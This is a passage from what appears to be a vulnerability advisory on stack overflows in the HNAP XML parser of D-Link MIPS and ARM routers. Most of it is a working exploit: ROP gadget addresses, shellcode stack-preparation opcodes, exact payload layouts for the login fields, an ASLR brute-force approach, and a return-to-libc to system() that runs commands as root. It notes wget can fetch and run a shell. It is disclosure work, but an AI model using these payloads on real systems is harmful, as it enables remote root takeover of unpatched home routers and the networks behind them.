1) The local stack (on parse_xml_value) can be overrun with 3096+ bytes. This overflow occurs even though strncpy is used, because the argument to strncpy is simply the strlen of the value inside the XML tag.
2) Alternatively, it’s possible to overrun the stack of the calling function (hnap_main), using only 2408+ bytes – this is because strcpy is used to copy the xml_tag_var onto the third argument received by parse_xml_value, which is a pointer to a stack variable in hnap_main.

Exploiting 1) is easier, and the following example will explain how.

All the affected MIPS devices use the same version of uClibc (libuClibc-0.9.30.3.so) and seem to load it at 0x2aabe000, which makes exploitation trivial for all firmware versions. It should be noted that the MIPS devices use the RTL8881a CPU, which is based on a Lextra RLX5281 core. The Lextra RLX cores are MIPS clones, but they’re bit crippled as they are lacking a few load and store instructions. For this reason, some generic shellcodes that work on MIPS might not work on these CPUs (especially when obfuscated).

The devices also do not have NX, ASLR nor any other modern memory protections, so the shellcode is executed directly on the stack. However, it’s necessary to use ROP to prepare the stack for execution, which can be executed with gadgets taken from libuClibc-0.9.30.3.so.
Due to the way MIPS CPUs work, it’s necessary to flush the CPU cache before executing the exploit. This can be forced by calling sleep() from libc (refer to http://blog.emaze.net/2011/10/exploiting-mips-embedded-devices.html for an explanation on the MIPS CPU caches).

So the ROP chain and shellcode will look like:

first_gadget – execute sleep and call second_gadget
.text:0004EA1C move $t9, $s0 <- sleep()
.text:0004EA20 lw $ra, 0x20+var_4($sp) <- second_gadget
.text:0004EA24 li $a0, 2 <- arg for sleep()
.text:0004EA28 lw $s0, 0x20+var_8($sp)
.text:0004EA2C li $a1, 1
.text:0004EA30 move $a2, $zero
.text:0004EA34 jr $t9
.text:0004EA38 addiu $sp, 0x20

second_gadget – puts stack pointer in a1:
.text:0002468C addiu $s1, $sp, 0x58
.text:00024690 li $s0, 0x44
.text:00024694 move $a2, $s0
.text:00024698 move $a1, $s1
.text:0002469C move $t9, $s4
.text:000246A0 jalr $t9
.text:000246A4 move $a0, $s2

third_gadget – call $a1 (which now has the stack pointer):
.text:00041F3C move $t9, $a1
.text:00041F40 move $a1, $a2
.text:00041F44 addiu $a0, 8
.text:00041F48 jr $t9
.text:00041F4C nop

When the crash occurs, the stack pointer is at xml_tag_value[3128]. In order to have a larger space for the shellcode (3000+ bytes), it’s possible to jump back to xml_tag_value[0].
prep_shellcode_1 = 23bdf3c8 # addi sp,sp,-3128
prep_shellcode_2 = 03a0f809 # jalr sp
branch_delay = 2084f830 # addi a0,a0,-2000 (NOP executed as a MIPS branch delay slot)

The final Action / Username / LoginPassword / Catpcha XML parameter value will be:
shellcode + ‘a’ * (3072 – shellcode.size) + sleep() + ‘1’ * 4 + ‘2’ * 4 + ‘3’ * 4 + third_gadget + first_gadget + ‘b’ * 0x1c + second_gadget + ‘c’ * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay

‘a’, ‘b’ and ‘c’ are just fillers to make up the buffer, while ‘1111’, ‘2222’ and ‘3333’ will be the values of s1, s2 and s3 registers (which are not interesting for exploitation), and the rest is the ROP chain, shellcode and stack preparation routine. The only bad character that cannot be sent in the payload is the null byte as this is a str(n)cpy overflow. Up to 3350 characters can be sent, as after that it’s hard to control the overflow in a reliable way. Note that all of this is to exploit the first buffer overflow with strncpy, but the second buffer overflow can be exploited in a similar way.

As explained above, due to the use of a crippled MIPS core, generic shellcodes found on the Internet will likely fail. Some very simple ones work, but the best is to craft a reliable one. The simple Metasploit bind shell also seems to work pretty reliably if no encoder is used.

———————–
ARM exploitation
———————–

The same two stack overflows affect ARM, but require less bytes to overflow the stack. The following snippet is the same part of parse_xml_value as shown for MIPS (taken from firmware 2.03b01 for the DIR-868 Rev. B):
.text:00018F34 C30 LDR R1, [R11,#src] ; src
.text:00018F38 C30 LDR R2, [R11,#n] ; n
.text:00018F3C C30 SUB R3, R11, #-xml_tag_var
.text:00018F40 C30 SUB R3, R3, #4
.text:00018F44 C30 SUB R3, R3, #4
.text:00018F48 C30 MOV R0, R3 ; dest
.text:00018F4C C30 BL strncpy ; first overflow occurs here (xml_tag_var in parse_xml_stack) with 1024+ characters
.text:00018F50 C30 MOV R3, #0xFFFFFBEC
.text:00018F58 C30 LDR R2, [R11,#n]
.text:00018F5C C30 SUB R1, R11, #-var_4
.text:00018F60 C30 ADD R2, R1, R2
.text:00018F64 C30 ADD R3, R2, R3
.text:00018F68 C30 MOV R2, #0
.text:00018F6C C30 STRB R2, [R3]
.text:00018F70 C30 SUB R3, R11, #-xml_tag_var
.text:00018F74 C30 SUB R3, R3, #4
.text:00018F78 C30 SUB R3, R3, #4
.text:00018F7C C30 LDR R0, [R11,#a2_ptr] ; a2_ptr is is a stack variable from hnap_main
.text:00018F80 C30 MOV R1, R3 ; src
.text:00018F84 C30 BL strcpy ; second overflow occurs here

The stack size will be smaller for both parse_xml_value and hnap_main when compared to the MIPS binary. This time again it’s easier to exploit the easier strncpy overflow in parse_xml_value, but only 1024 bytes are enough to overflow the stack. As with the MIPS exploit, the only bad character is the null byte.

The affected ARM devices have a non-executable stack (NX) and 32 bit ASLR. NX can be defeated with ROP, and the 32 bit ASLR is weak – there are only 3 bytes that change in the address calculations, which means there are only 4096 possible values. The attack has to be run several times until the correct base address is hit, but this can usually be achieved in less than 1000 attempts.

The easiest attack to perform is a return-to-libc to execute a command with system(). To do this, R0 must point to the stack location where the command is before system() is called. All the affected ARM devices seem to use the same version of uClibc (libuClibc-0.9.32.1.so) for all firmware versions, which makes gadget hunting much easier and allows building an exploit that works on all the devices without any modification.

first_gadget (pops system() address into r3, and second_gadget into PC):
.text:00018298 LDMFD SP!, {R3,PC}

second_gadget (puts the stack pointer into r0 and calls system() at r3):
.text:00040CB8 MOV R0, SP
.text:00040CBC BLX R3

system() (Executes argument in r0 (our stack pointer)
.text:0005A270 system

The final Action / Username / LoginPassword / Catpcha XML parameter value will be:
‘a’ * 1024 + 0xffffffff + ‘b’ * 16 + ‘AAAA’ + first_gadget + system() + second_gadget + command

a / b = filler
0xffffffff = integer n (see below)
AAAA = R11
first_gadget = initial PC
payload = stack points here after execution of our ROP chain; it should point to whatever we want system() to execute

When the overflow happens, the stack var “n” is overwritten, which is used to calculate a memory address (see 0x18F58). In order not to crash the process before the shellcode is executed, the variable needs to be set to a numeric value that can be used to calculate a valid memory address. A good value to choose is 0xffffffff, as this will just subtract 1 from the calculated memory address and prevent an invalid memory access.

From this point onwards, it’s possible to execute any command in “payload”. For example, wget can be used to download a shell and execute it or a telnet server can be started. All commands will be executed as root.

Fix:

Dlink did not respond to CERT’s requests for information, so no firmware fix is available at the time of writing.
Given that this vulnerability can only be exploited in the LAN, it is recommended to have a strong wireless password to prevent untrusted clients from connecting to the router.

References:

[1] https://isc.sans.edu//diary/More+on+HNAP+-+What+is+it,+How+to+Use+it,+How+to+Find+it/17648
[2] https://en.wikipedia.org/wiki/Home_Network_Administration_Protocol
[3] http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/
[4] http://www.devttys0.com/2015/04/what-the-ridiculous-fuck-d-link/
[5] http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/
[6] https://packetstormsecurity.com/files/134370/D-Link-DIR-818W-Buffer-Overflow-Command-Injection.html
[7] https://dl.packetstormsecurity.net/papers/attack/dlink_hnap_captcha.pdf
[8] http://www.dlink.com/uk/en/support/support-news/2015/april/13/hnap-privilege-escalation-command-injection
[9] https://github.com/rapid7/metasploit-framework/pull/7543
[10] https://www.kb.cert.org/vuls/id/677427